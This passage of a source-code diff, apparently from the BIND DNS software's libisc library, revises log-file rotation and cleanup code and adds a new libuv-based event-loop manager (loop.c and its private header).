 	if (versions <= 0) {
-		return INT64_MAX;
+		return (INT64_MAX);
 	}
 
-	int64_t to_keep[ISC_LOG_MAX_VERSIONS] = { 0 };
-	int64_t version = 0;
 	if (versions > ISC_LOG_MAX_VERSIONS) {
 		versions = ISC_LOG_MAX_VERSIONS;
 	}
@@ -1122,6 +1116,9 @@ last_to_keep(int64_t versions, isc_dir_t *dirp, char *bname, size_t bnamelen) {
 	 */
 	memset(to_keep, 0, sizeof(to_keep));
 	while (isc_dir_read(dirp) == ISC_R_SUCCESS) {
+		char *digit_end = NULL;
+		char *ename = NULL;
+
 		if (dirp->entry.length <= bnamelen ||
 		    strncmp(dirp->entry.name, bname, bnamelen) != 0 ||
 		    dirp->entry.name[bnamelen] != '.')
@@ -1129,8 +1126,7 @@ last_to_keep(int64_t versions, isc_dir_t *dirp, char *bname, size_t bnamelen) {
 			continue;
 		}
 
-		char *digit_end;
-		char *ename = &dirp->entry.name[bnamelen + 1];
+		ename = &dirp->entry.name[bnamelen + 1];
 		version = strtoull(ename, &digit_end, 10);
 		if (*digit_end == '\0') {
 			insert_sort(to_keep, versions, version);
@@ -1147,37 +1143,43 @@ last_to_keep(int64_t versions, isc_dir_t *dirp, char *bname, size_t bnamelen) {
 
 static isc_result_t
 remove_old_tsversions(isc_logfile_t *file, int versions) {
-	isc_result_t result;
-	char *bname, *digit_end;
-	const char *dirname;
+	char *digit_end;
+	char dirbuf[PATH_MAX + 1];
+	const char *bname;
+	const char *dirname = ".";
 	int64_t version, last = INT64_MAX;
-	size_t bnamelen;
 	isc_dir_t dir;
-	char sep = '/';
-	/*
-	 * It is safe to DE_CONST the file.name because it was copied
-	 * with isc_mem_strdup().
-	 */
-	bname = strrchr(file->name, sep);
+	isc_result_t result;
+	size_t bnamelen;
+
+	bname = strrchr(file->name, '/');
 	if (bname != NULL) {
-		*bname++ = '\0';
-		dirname = file->name;
+		/*
+		 * Copy the complete file name to dirbuf.
+		 */
+		size_t len = strlcpy(dirbuf, file->name, sizeof(dirbuf));
+		if (len >= sizeof(dirbuf)) {
+			result = ISC_R_NOSPACE;
+			syslog(LOG_ERR, "unable to remove log files: %s",
+			       isc_result_totext(result));
+			return (result);
+		}
+
+		/*
+		 * Truncate after trailing '/' so the code works for
+		 * files in the root directory.
+		 */
+		bname++;
+		dirbuf[bname - file->name] = '\0';
+		dirname = dirbuf;
 	} else {
-		DE_CONST(file->name, bname);
-		dirname = ".";
+		bname = file->name;
 	}
 	bnamelen = strlen(bname);
 
 	isc_dir_init(&dir);
 	result = isc_dir_open(&dir, dirname);
 
-	/*
-	 * Replace the file separator if it was taken out.
-	 */
-	if (bname != file->name) {
-		*(bname - 1) = sep;
-	}
-
 	/*
 	 * Return if the directory open failed.
 	 */
@@ -1187,35 +1189,39 @@ remove_old_tsversions(isc_logfile_t *file, int versions) {
 
 	last = last_to_keep(versions, &dir, bname, bnamelen);
 
-	/*
-	 * Then we remove all files that we don't want to_keep
-	 */
 	while (isc_dir_read(&dir) == ISC_R_SUCCESS) {
 		if (dir.entry.length > bnamelen &&
 		    strncmp(dir.entry.name, bname, bnamelen) == 0 &&
 		    dir.entry.name[bnamelen] == '.')
 		{
-			char *ename = &dir.entry.name[bnamelen + 1];
-			version = strtoull(ename, &digit_end, 10);
+			version = strtoull(&dir.entry.name[bnamelen + 1],
+					   &digit_end, 10);
 			/*
 			 * Remove any backup files that exceed versions.
 			 */
 			if (*digit_end == '\0' && version < last) {
-				result = isc_file_remove(dir.entry.name);
-				if (result != ISC_R_SUCCESS &&
-				    result != ISC_R_FILENOTFOUND) {
-					syslog(LOG_ERR,
-					       "unable to remove "
-					       "log file '%s': %s",
-					       dir.entry.name,
-					       isc_result_totext(result));
+				int n = unlinkat(dirfd(dir.handle),
+						 dir.entry.name, 0);
+				if (n < 0) {
+					result = isc_errno_toresult(errno);
+					if (result != ISC_R_SUCCESS &&
+					    result != ISC_R_FILENOTFOUND)
+					{
+						syslog(LOG_ERR,
+						       "unable to remove log "
+						       "file '%s%s': %s",
+						       bname == file->name
+							       ? ""
+							       : dirname,
+						       dir.entry.name,
+						       isc_result_totext(
+							       result));
+					}
 				}
 			}
 		}
 	}
-
 	isc_dir_close(&dir);
-
 	return (ISC_R_SUCCESS);
 }
 
@@ -1238,9 +1244,10 @@ roll_increment(isc_logfile_t *file) {
 		 */
 		for (greatest = 0; greatest < INT_MAX; greatest++) {
 			n = snprintf(current, sizeof(current), "%s.%u", path,
-				     (unsigned)greatest);
+				     (unsigned int)greatest);
 			if (n >= (int)sizeof(current) || n < 0 ||
-			    !isc_file_exists(current)) {
+			    !isc_file_exists(current))
+			{
 				break;
 			}
 		}
@@ -1265,13 +1272,13 @@ roll_increment(isc_logfile_t *file) {
 	for (i = greatest; i > 0; i--) {
 		result = ISC_R_SUCCESS;
 		n = snprintf(current, sizeof(current), "%s.%u", path,
-			     (unsigned)(i - 1));
+			     (unsigned int)(i - 1));
 		if (n >= (int)sizeof(current) || n < 0) {
 			result = ISC_R_NOSPACE;
 		}
 		if (result == ISC_R_SUCCESS) {
 			n = snprintf(newpath, sizeof(newpath), "%s.%u", path,
-				     (unsigned)i);
+				     (unsigned int)i);
 			if (n >= (int)sizeof(newpath) || n < 0) {
 				result = ISC_R_NOSPACE;
 			}
@@ -1325,7 +1332,7 @@ roll_timestamp(isc_logfile_t *file) {
 	}
 
 	/* Then just rename the current logfile */
-	isc_time_now(&now);
+	now = isc_time_now();
 	isc_time_formatshorttimestamp(&now, newts, PATH_MAX + 1);
 	n = snprintf(newpath, sizeof(newpath), "%s.%s", path, newts);
 	if (n >= (int)sizeof(newpath) || n < 0) {
@@ -1557,7 +1564,8 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 		}
 
 		if (category_channels->module != NULL &&
-		    category_channels->module != module) {
+		    category_channels->module != module)
+		{
 			category_channels = ISC_LIST_NEXT(category_channels,
 							  link);
 			continue;
@@ -1571,7 +1579,8 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 		if (!forcelog) {
 			dlevel = atomic_load_acquire(&lctx->debug_level);
 			if (((channel->flags & ISC_LOG_DEBUGONLY) != 0) &&
-			    dlevel == 0) {
+			    dlevel == 0)
+			{
 				continue;
 			}
 
@@ -1585,10 +1594,11 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 		}
 
 		if ((channel->flags & ISC_LOG_PRINTTIME) != 0 &&
-		    local_time[0] == '\0') {
+		    local_time[0] == '\0')
+		{
 			isc_time_t isctime;
 
-			TIME_NOW(&isctime);
+			isctime = isc_time_now();
 
 			isc_time_formattimestamp(&isctime, local_time,
 						 sizeof(local_time));
@@ -1599,7 +1609,8 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 		}
 
 		if ((channel->flags & ISC_LOG_PRINTLEVEL) != 0 &&
-		    level_string[0] == '\0') {
+		    level_string[0] == '\0')
+		{
 			if (level < ISC_LOG_CRITICAL) {
 				snprintf(level_string, sizeof(level_string),
 					 "level %d: ", level);
@@ -1637,7 +1648,7 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 				 * messages which fall within the
 				 * duplicate_interval range.
 				 */
-				TIME_NOW(&oldest);
+				oldest = isc_time_now();
 				if (isc_time_subtract(&oldest, &interval,
 						      &oldest) != ISC_R_SUCCESS)
 				{
@@ -1653,7 +1664,8 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 
 				while (message != NULL) {
 					if (isc_time_compare(&message->time,
-							     &oldest) < 0) {
+							     &oldest) < 0)
+					{
 						/*
 						 * This message is older
 						 * than the
@@ -1690,7 +1702,8 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 					 * ...
 					 */
 					if (strcmp(lctx->buffer,
-						   message->text) == 0) {
+						   message->text) == 0)
+					{
 						/*
 						 * ... and it is a
 						 * duplicate. Unlock the
@@ -1713,7 +1726,7 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 				message->text = (char *)(message + 1);
 				size -= sizeof(isc_logmessage_t);
 				strlcpy(message->text, lctx->buffer, size);
-				TIME_NOW(&message->time);
+				message->time = isc_time_now();
 				ISC_LINK_INIT(message, link);
 				ISC_LIST_APPEND(lctx->messages, message, link);
 			}
@@ -1794,7 +1807,7 @@ isc_log_doit(isc_log_t *lctx, isc_logcategory_t *category,
 				}
 				channel->flags &= ~ISC_LOG_OPENERR;
 			}
-			/* FALLTHROUGH */
+			FALLTHROUGH;
 
 		case ISC_LOG_TOFILEDESC:
 			fprintf(FILE_STREAM(channel), "%s%s%s%s%s%s%s%s%s%s\n",
diff --git a/lib/isc/loop.c b/lib/isc/loop.c
new file mode 100644
index 0000000000..e31563b63d
--- /dev/null
+++ b/lib/isc/loop.c
@@ -0,0 +1,617 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/barrier.h>
+#include <isc/condition.h>
+#include <isc/job.h>
+#include <isc/list.h>
+#include <isc/log.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/signal.h>
+#include <isc/strerr.h>
+#include <isc/thread.h>
+#include <isc/tid.h>
+#include <isc/time.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+#include <isc/work.h>
+
+#include "async_p.h"
+#include "job_p.h"
+#include "loop_p.h"
+
+/**
+ * Private
+ */
+
+static void
+ignore_signal(int sig, void (*handler)(int)) {
+	struct sigaction sa = { .sa_handler = handler };
+
+	if (sigfillset(&sa.sa_mask) != 0 || sigaction(sig, &sa, NULL) < 0) {
+		FATAL_SYSERROR(errno, "ignore_signal(%d)", sig);
+	}
+}
+
+void
+isc_loopmgr_shutdown(isc_loopmgr_t *loopmgr) {
+	if (!atomic_compare_exchange_strong(&loopmgr->shuttingdown,
+					    &(bool){ false }, true))
+	{
+		return;
+	}
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		int r;
+
+		r = uv_async_send(&loop->shutdown_trigger);
+		UV_RUNTIME_CHECK(uv_async_send, r);
+	}
+}
+
+static void
+isc__loopmgr_signal(void *arg, int signum) {
+	isc_loopmgr_t *loopmgr = (isc_loopmgr_t *)arg;
+
+	switch (signum) {
+	case SIGINT:
+	case SIGTERM:
+		isc_loopmgr_shutdown(loopmgr);
+		break;
+	default:
+		UNREACHABLE();
+	}
+}
+
+static void
+pause_loop(isc_loop_t *loop) {
+	isc_loopmgr_t *loopmgr = loop->loopmgr;
+
+	rcu_thread_offline();
+
+	loop->paused = true;
+	(void)isc_barrier_wait(&loopmgr->pausing);
+}
+
+static void
+resume_loop(isc_loop_t *loop) {
+	isc_loopmgr_t *loopmgr = loop->loopmgr;
+
+	(void)isc_barrier_wait(&loopmgr->resuming);
+	loop->paused = false;
+
+	rcu_thread_online();
+}
+
+static void
+pauseresume_cb(uv_async_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+
+	pause_loop(loop);
+	resume_loop(loop);
+}
+
+#define XX(uc, lc)                                                         \
+	case UV_##uc:                                                      \
+		fprintf(stderr, "%s, %s: dangling %p: %p.type = %s\n",     \
+			__func__, (char *)arg, handle->loop, handle, #lc); \
+		break;
+
+static void
+loop_walk_cb(uv_handle_t *handle, void *arg) {
+	if (uv_is_closing(handle)) {
+		return;
+	}
+
+	switch (handle->type) {
+		UV_HANDLE_TYPE_MAP(XX)
+	default:
+		fprintf(stderr, "%s, %s: dangling %p: %p.type = %s\n", __func__,
+			(char *)arg, &handle->loop, handle, "unknown");
+	}
+}
+
+static void
+shutdown_trigger_close_cb(uv_handle_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+
+	isc_loop_detach(&loop);
+}
+
+static void
+destroy_cb(uv_async_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+
+	/* Again, the first close callback here is called last */
+	uv_close(&loop->async_trigger, isc__async_close);
+	uv_close(&loop->run_trigger, isc__job_close);
+	uv_close(&loop->destroy_trigger, NULL);
+	uv_close(&loop->pause_trigger, NULL);
+	uv_close(&loop->quiescent, NULL);
+
+	uv_walk(&loop->loop, loop_walk_cb, (char *)"destroy_cb");
+}
+
+static void
+shutdown_cb(uv_async_t *handle) {
+	isc_loop_t *loop = uv_handle_get_data(handle);
+	isc_loopmgr_t *loopmgr = loop->loopmgr;
+
+	/* Make sure, we can't be called again */
+	uv_close(&loop->shutdown_trigger, shutdown_trigger_close_cb);
+
+	if (DEFAULT_LOOP(loopmgr) == CURRENT_LOOP(loopmgr)) {
+		/* Stop the signal handlers */
+		isc_signal_stop(loopmgr->sigterm);
+		isc_signal_stop(loopmgr->sigint);
+
+		/* Free the signal handlers */
+		isc_signal_destroy(&loopmgr->sigterm);
+		isc_signal_destroy(&loopmgr->sigint);
+	}
+
+	enum cds_wfcq_ret ret = __cds_wfcq_splice_blocking(
+		&loop->async_jobs.head, &loop->async_jobs.tail,
+		&loop->teardown_jobs.head, &loop->teardown_jobs.tail);
+	INSIST(ret != CDS_WFCQ_RET_WOULDBLOCK);
+	int r = uv_async_send(&loop->async_trigger);
+	UV_RUNTIME_CHECK(uv_async_send, r);
+}
+
+static void
+loop_init(isc_loop_t *loop, isc_loopmgr_t *loopmgr, uint32_t tid) {
+	*loop = (isc_loop_t){
+		.tid = tid,
+		.loopmgr = loopmgr,
+		.run_jobs = ISC_LIST_INITIALIZER,
+	};
+
+	__cds_wfcq_init(&loop->async_jobs.head, &loop->async_jobs.tail);
+	__cds_wfcq_init(&loop->setup_jobs.head, &loop->setup_jobs.tail);
+	__cds_wfcq_init(&loop->teardown_jobs.head, &loop->teardown_jobs.tail);
+
+	int r = uv_loop_init(&loop->loop);
+	UV_RUNTIME_CHECK(uv_loop_init, r);
+
+	r = uv_async_init(&loop->loop, &loop->pause_trigger, pauseresume_cb);
+	UV_RUNTIME_CHECK(uv_async_init, r);
+	uv_handle_set_data(&loop->pause_trigger, loop);
+
+	r = uv_async_init(&loop->loop, &loop->shutdown_trigger, shutdown_cb);
+	UV_RUNTIME_CHECK(uv_async_init, r);
+	uv_handle_set_data(&loop->shutdown_trigger, loop);
+
+	r = uv_async_init(&loop->loop, &loop->async_trigger, isc__async_cb);
+	UV_RUNTIME_CHECK(uv_async_init, r);
+	uv_handle_set_data(&loop->async_trigger, loop);
+
+	r = uv_idle_init(&loop->loop, &loop->run_trigger);
+	UV_RUNTIME_CHECK(uv_idle_init, r);
+	uv_handle_set_data(&loop->run_trigger, loop);
+
+	r = uv_async_init(&loop->loop, &loop->destroy_trigger, destroy_cb);
+	UV_RUNTIME_CHECK(uv_async_init, r);
+	uv_handle_set_data(&loop->destroy_trigger, loop);
+
+	r = uv_prepare_init(&loop->loop, &loop->quiescent);
+	UV_RUNTIME_CHECK(uv_prepare_init, r);
+	uv_handle_set_data(&loop->quiescent, loop);
+
+	char name[16];
+	snprintf(name, sizeof(name), "loop-%08" PRIx32, tid);
+	isc_mem_create(&loop->mctx);
+	isc_mem_setname(loop->mctx, name);
+
+	isc_refcount_init(&loop->references, 1);
+
+	loop->magic = LOOP_MAGIC;
+}
+
+static void
+quiescent_cb(uv_prepare_t *handle) {
+	UNUSED(handle);
+
+#if defined(RCU_QSBR)
+	/* safe memory reclamation */
+	rcu_quiescent_state();
+
+	/* mark the thread offline when polling */
+	rcu_thread_offline();
+#else
+	INSIST(!rcu_read_ongoing());
+#endif
+}
+
+static void
+loop_close(isc_loop_t *loop) {
+	int r = uv_loop_close(&loop->loop);
+	UV_RUNTIME_CHECK(uv_loop_close, r);
+
+	INSIST(cds_wfcq_empty(&loop->async_jobs.head, &loop->async_jobs.tail));
+	INSIST(ISC_LIST_EMPTY(loop->run_jobs));
+
+	loop->magic = 0;
+
+	isc_mem_detach(&loop->mctx);
+}
+
+static void *
+loop_thread(void *arg) {
+	isc_loop_t *loop = (isc_loop_t *)arg;
+
+	/* Initialize the thread_local variable */
+
+	isc__tid_init(loop->tid);
+
+	int r = uv_prepare_start(&loop->quiescent, quiescent_cb);
+	UV_RUNTIME_CHECK(uv_prepare_start, r);
+
+	isc_barrier_wait(&loop->loopmgr->starting);
+
+	enum cds_wfcq_ret ret = __cds_wfcq_splice_blocking(
+		&loop->async_jobs.head, &loop->async_jobs.tail,
+		&loop->setup_jobs.head, &loop->setup_jobs.tail);
+	INSIST(ret != CDS_WFCQ_RET_WOULDBLOCK);
+
+	r = uv_async_send(&loop->async_trigger);
+	UV_RUNTIME_CHECK(uv_async_send, r);
+
+	r = uv_run(&loop->loop, UV_RUN_DEFAULT);
+	UV_RUNTIME_CHECK(uv_run, r);
+
+	/* Invalidate the loop early */
+	loop->magic = 0;
+
+	isc_barrier_wait(&loop->loopmgr->stopping);
+
+	return (NULL);
+}
+
+/**
+ * Public
+ */
+
+static void
+threadpool_initialize(uint32_t workers) {
+	char buf[11];
+	int r = uv_os_getenv("UV_THREADPOOL_SIZE", buf,
+			     &(size_t){ sizeof(buf) });
+	if (r == UV_ENOENT) {
+		snprintf(buf, sizeof(buf), "%" PRIu32, workers);
+		uv_os_setenv("UV_THREADPOOL_SIZE", buf);
+	}
+}
+
+static void
+loop_destroy(isc_loop_t *loop) {
+	int r = uv_async_send(&loop->destroy_trigger);
+	UV_RUNTIME_CHECK(uv_async_send, r);
+}
+
+#if ISC_LOOP_TRACE
+ISC_REFCOUNT_TRACE_IMPL(isc_loop, loop_destroy)
+#else
+ISC_REFCOUNT_IMPL(isc_loop, loop_destroy);
+#endif
+
+void
+isc_loopmgr_create(isc_mem_t *mctx, uint32_t nloops, isc_loopmgr_t **loopmgrp) {
+	isc_loopmgr_t *loopmgr = NULL;
+
+	REQUIRE(loopmgrp != NULL && *loopmgrp == NULL);
+	REQUIRE(nloops > 0);
+
+	threadpool_initialize(nloops);
+	isc__tid_initcount(nloops);
+
+	loopmgr = isc_mem_get(mctx, sizeof(*loopmgr));
+	*loopmgr = (isc_loopmgr_t){
+		.nloops = nloops,
+	};
+
+	isc_mem_attach(mctx, &loopmgr->mctx);
+
+	isc_barrier_init(&loopmgr->pausing, loopmgr->nloops);
+	isc_barrier_init(&loopmgr->resuming, loopmgr->nloops);
+	isc_barrier_init(&loopmgr->starting, loopmgr->nloops);
+	isc_barrier_init(&loopmgr->stopping, loopmgr->nloops);
+
+	loopmgr->loops = isc_mem_cget(loopmgr->mctx, loopmgr->nloops,
+				      sizeof(loopmgr->loops[0]));
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		loop_init(loop, loopmgr, i);
+	}
+
+	loopmgr->sigint = isc_signal_new(loopmgr, isc__loopmgr_signal, loopmgr,
+					 SIGINT);
+	loopmgr->sigterm = isc_signal_new(loopmgr, isc__loopmgr_signal, loopmgr,
+					  SIGTERM);
+
+	isc_signal_start(loopmgr->sigint);
+	isc_signal_start(loopmgr->sigterm);
+
+	loopmgr->magic = LOOPMGR_MAGIC;
+
+	*loopmgrp = loopmgr;
+}
+
+isc_job_t *
+isc_loop_setup(isc_loop_t *loop, isc_job_cb cb, void *cbarg) {
+	REQUIRE(VALID_LOOP(loop));
+	REQUIRE(cb != NULL);
+
+	isc_loopmgr_t *loopmgr = loop->loopmgr;
+	isc_job_t *job = isc_mem_get(loop->mctx, sizeof(*job));
+	*job = (isc_job_t){
+		.cb = cb,
+		.cbarg = cbarg,
+	};
+
+	cds_wfcq_node_init(&job->wfcq_node);
+
+	REQUIRE(loop->tid == isc_tid() || !atomic_load(&loopmgr->running) ||
+		atomic_load(&loopmgr->paused));
+
+	cds_wfcq_enqueue(&loop->setup_jobs.head, &loop->setup_jobs.tail,
+			 &job->wfcq_node);
+
+	return (job);
+}
+
+isc_job_t *
+isc_loop_teardown(isc_loop_t *loop, isc_job_cb cb, void *cbarg) {
+	REQUIRE(VALID_LOOP(loop));
+
+	isc_loopmgr_t *loopmgr = loop->loopmgr;
+	isc_job_t *job = isc_mem_get(loop->mctx, sizeof(*job));
+	*job = (isc_job_t){
+		.cb = cb,
+		.cbarg = cbarg,
+	};
+	cds_wfcq_node_init(&job->wfcq_node);
+
+	REQUIRE(loop->tid == isc_tid() || !atomic_load(&loopmgr->running) ||
+		atomic_load(&loopmgr->paused));
+
+	cds_wfcq_enqueue(&loop->teardown_jobs.head, &loop->teardown_jobs.tail,
+			 &job->wfcq_node);
+
+	return (job);
+}
+
+void
+isc_loopmgr_setup(isc_loopmgr_t *loopmgr, isc_job_cb cb, void *cbarg) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+	REQUIRE(!atomic_load(&loopmgr->running) ||
+		atomic_load(&loopmgr->paused));
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		(void)isc_loop_setup(loop, cb, cbarg);
+	}
+}
+
+void
+isc_loopmgr_teardown(isc_loopmgr_t *loopmgr, isc_job_cb cb, void *cbarg) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+	REQUIRE(!atomic_load(&loopmgr->running) ||
+		atomic_load(&loopmgr->paused));
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		(void)isc_loop_teardown(loop, cb, cbarg);
+	}
+}
+
+void
+isc_loopmgr_run(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+	RUNTIME_CHECK(atomic_compare_exchange_strong(&loopmgr->running,
+						     &(bool){ false }, true));
+
+	/*
+	 * Always ignore SIGPIPE.
+	 */
+	ignore_signal(SIGPIPE, SIG_IGN);
+
+	/*
+	 * The thread 0 is this one.
+	 */
+	for (size_t i = 1; i < loopmgr->nloops; i++) {
+		char name[32];
+		isc_loop_t *loop = &loopmgr->loops[i];
+
+		isc_thread_create(loop_thread, loop, &loop->thread);
+
+		snprintf(name, sizeof(name), "isc-loop-%04zu", i);
+		isc_thread_setname(loop->thread, name);
+	}
+
+	isc_thread_main(loop_thread, &loopmgr->loops[0]);
+}
+
+void
+isc_loopmgr_pause(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	if (isc_log_wouldlog(isc_lctx, ISC_LOG_DEBUG(1))) {
+		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
+			      ISC_LOGMODULE_OTHER, ISC_LOG_DEBUG(1),
+			      "loop exclusive mode: starting");
+	}
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+
+		/* Skip current loop */
+		if (i == isc_tid()) {
+			continue;
+		}
+
+		int r = uv_async_send(&loop->pause_trigger);
+		UV_RUNTIME_CHECK(uv_async_send, r);
+	}
+
+	RUNTIME_CHECK(atomic_compare_exchange_strong(&loopmgr->paused,
+						     &(bool){ false }, true));
+	pause_loop(CURRENT_LOOP(loopmgr));
+
+	if (isc_log_wouldlog(isc_lctx, ISC_LOG_DEBUG(1))) {
+		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
+			      ISC_LOGMODULE_OTHER, ISC_LOG_DEBUG(1),
+			      "loop exclusive mode: started");
+	}
+}
+
+void
+isc_loopmgr_resume(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	if (isc_log_wouldlog(isc_lctx, ISC_LOG_DEBUG(1))) {
+		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
+			      ISC_LOGMODULE_OTHER, ISC_LOG_DEBUG(1),
+			      "loop exclusive mode: ending");
+	}
+
+	RUNTIME_CHECK(atomic_compare_exchange_strong(&loopmgr->paused,
+						     &(bool){ true }, false));
+	resume_loop(CURRENT_LOOP(loopmgr));
+
+	if (isc_log_wouldlog(isc_lctx, ISC_LOG_DEBUG(1))) {
+		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
+			      ISC_LOGMODULE_OTHER, ISC_LOG_DEBUG(1),
+			      "loop exclusive mode: ended");
+	}
+}
+
+void
+isc_loopmgr_destroy(isc_loopmgr_t **loopmgrp) {
+	isc_loopmgr_t *loopmgr = NULL;
+
+	REQUIRE(loopmgrp != NULL);
+	REQUIRE(VALID_LOOPMGR(*loopmgrp));
+
+	loopmgr = *loopmgrp;
+	*loopmgrp = NULL;
+
+	RUNTIME_CHECK(atomic_compare_exchange_strong(&loopmgr->running,
+						     &(bool){ true }, false));
+
+	/* First wait for all loops to finish */
+	for (size_t i = 1; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		isc_thread_join(loop->thread, NULL);
+	}
+
+	loopmgr->magic = 0;
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+		loop_close(loop);
+	}
+	isc_mem_cput(loopmgr->mctx, loopmgr->loops, loopmgr->nloops,
+		     sizeof(loopmgr->loops[0]));
+
+	isc_barrier_destroy(&loopmgr->starting);
+	isc_barrier_destroy(&loopmgr->stopping);
+	isc_barrier_destroy(&loopmgr->resuming);
+	isc_barrier_destroy(&loopmgr->pausing);
+
+	isc_mem_putanddetach(&loopmgr->mctx, loopmgr, sizeof(*loopmgr));
+}
+
+uint32_t
+isc_loopmgr_nloops(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	return (loopmgr->nloops);
+}
+
+isc_mem_t *
+isc_loop_getmctx(isc_loop_t *loop) {
+	REQUIRE(VALID_LOOP(loop));
+
+	return (loop->mctx);
+}
+
+isc_loop_t *
+isc_loop_main(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	return (DEFAULT_LOOP(loopmgr));
+}
+
+isc_loop_t *
+isc_loop_current(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	return (CURRENT_LOOP(loopmgr));
+}
+
+isc_loop_t *
+isc_loop_get(isc_loopmgr_t *loopmgr, uint32_t tid) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+	REQUIRE(tid < loopmgr->nloops);
+
+	return (LOOP(loopmgr, tid));
+}
+
+void
+isc_loopmgr_blocking(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	isc_signal_stop(loopmgr->sigterm);
+	isc_signal_stop(loopmgr->sigint);
+}
+
+void
+isc_loopmgr_nonblocking(isc_loopmgr_t *loopmgr) {
+	REQUIRE(VALID_LOOPMGR(loopmgr));
+
+	isc_signal_start(loopmgr->sigint);
+	isc_signal_start(loopmgr->sigterm);
+}
+
+isc_loopmgr_t *
+isc_loop_getloopmgr(isc_loop_t *loop) {
+	REQUIRE(VALID_LOOP(loop));
+
+	return (loop->loopmgr);
+}
+
+isc_time_t
+isc_loop_now(isc_loop_t *loop) {
+	REQUIRE(VALID_LOOP(loop));
+
+	uint64_t msec = uv_now(&loop->loop);
+	isc_time_t t = {
+		.seconds = msec / MS_PER_SEC,
+		.nanoseconds = (msec % MS_PER_SEC) * NS_PER_MS,
+	};
+
+	return (t);
+}
diff --git a/lib/isc/loop_p.h b/lib/isc/loop_p.h
new file mode 100644
index 0000000000..185406d0d7
--- /dev/null
+++ b/lib/isc/loop_p.h
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <inttypes.h>
+
+#include <isc/barrier.h>
+#include <isc/job.h>
+#include <isc/lang.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/refcount.h>
+#include <isc/result.h>
+#include <isc/signal.h>
+#include <isc/thread.h>
+#include <isc/types.h>
+#include <isc/urcu.h>
+#include <isc/uv.h>
+#include <isc/work.h>
+
+#include "async_p.h"
+#include "job_p.h"
+
+/*
+ * Per-thread loop
+ */
+#define LOOP_MAGIC    ISC_MAGIC('L', 'O', 'O', 'P')
+#define VALID_LOOP(t) ISC_MAGIC_VALID(t, LOOP_MAGIC)
+
+struct isc_loop {
+	int magic;
+	isc_refcount_t references;
+	isc_thread_t thread;
+
+	isc_loopmgr_t *loopmgr;
+
+	uv_loop_t loop;
+	uint32_t tid;
+
+	isc_mem_t *mctx;
+
+	/* states */
+	bool paused;
+	bool shuttingdown;
+
+	/* Async queue */
+	uv_async_t async_trigger;
+	isc_jobqueue_t async_jobs;
+
+	/* Jobs queue */
+	uv_idle_t run_trigger;
+	isc_joblist_t run_jobs;
+
+	/* Pause */
+	uv_async_t pause_trigger;
+
+	/* Shutdown */
+	uv_async_t shutdown_trigger;
+	isc_jobqueue_t setup_jobs;
+	isc_jobqueue_t teardown_jobs;
+
+	/* Destroy */
+	uv_async_t destroy_trigger;
+
+	/* safe memory reclamation */
+	uv_prepare_t quiescent;
+};
+
+/*
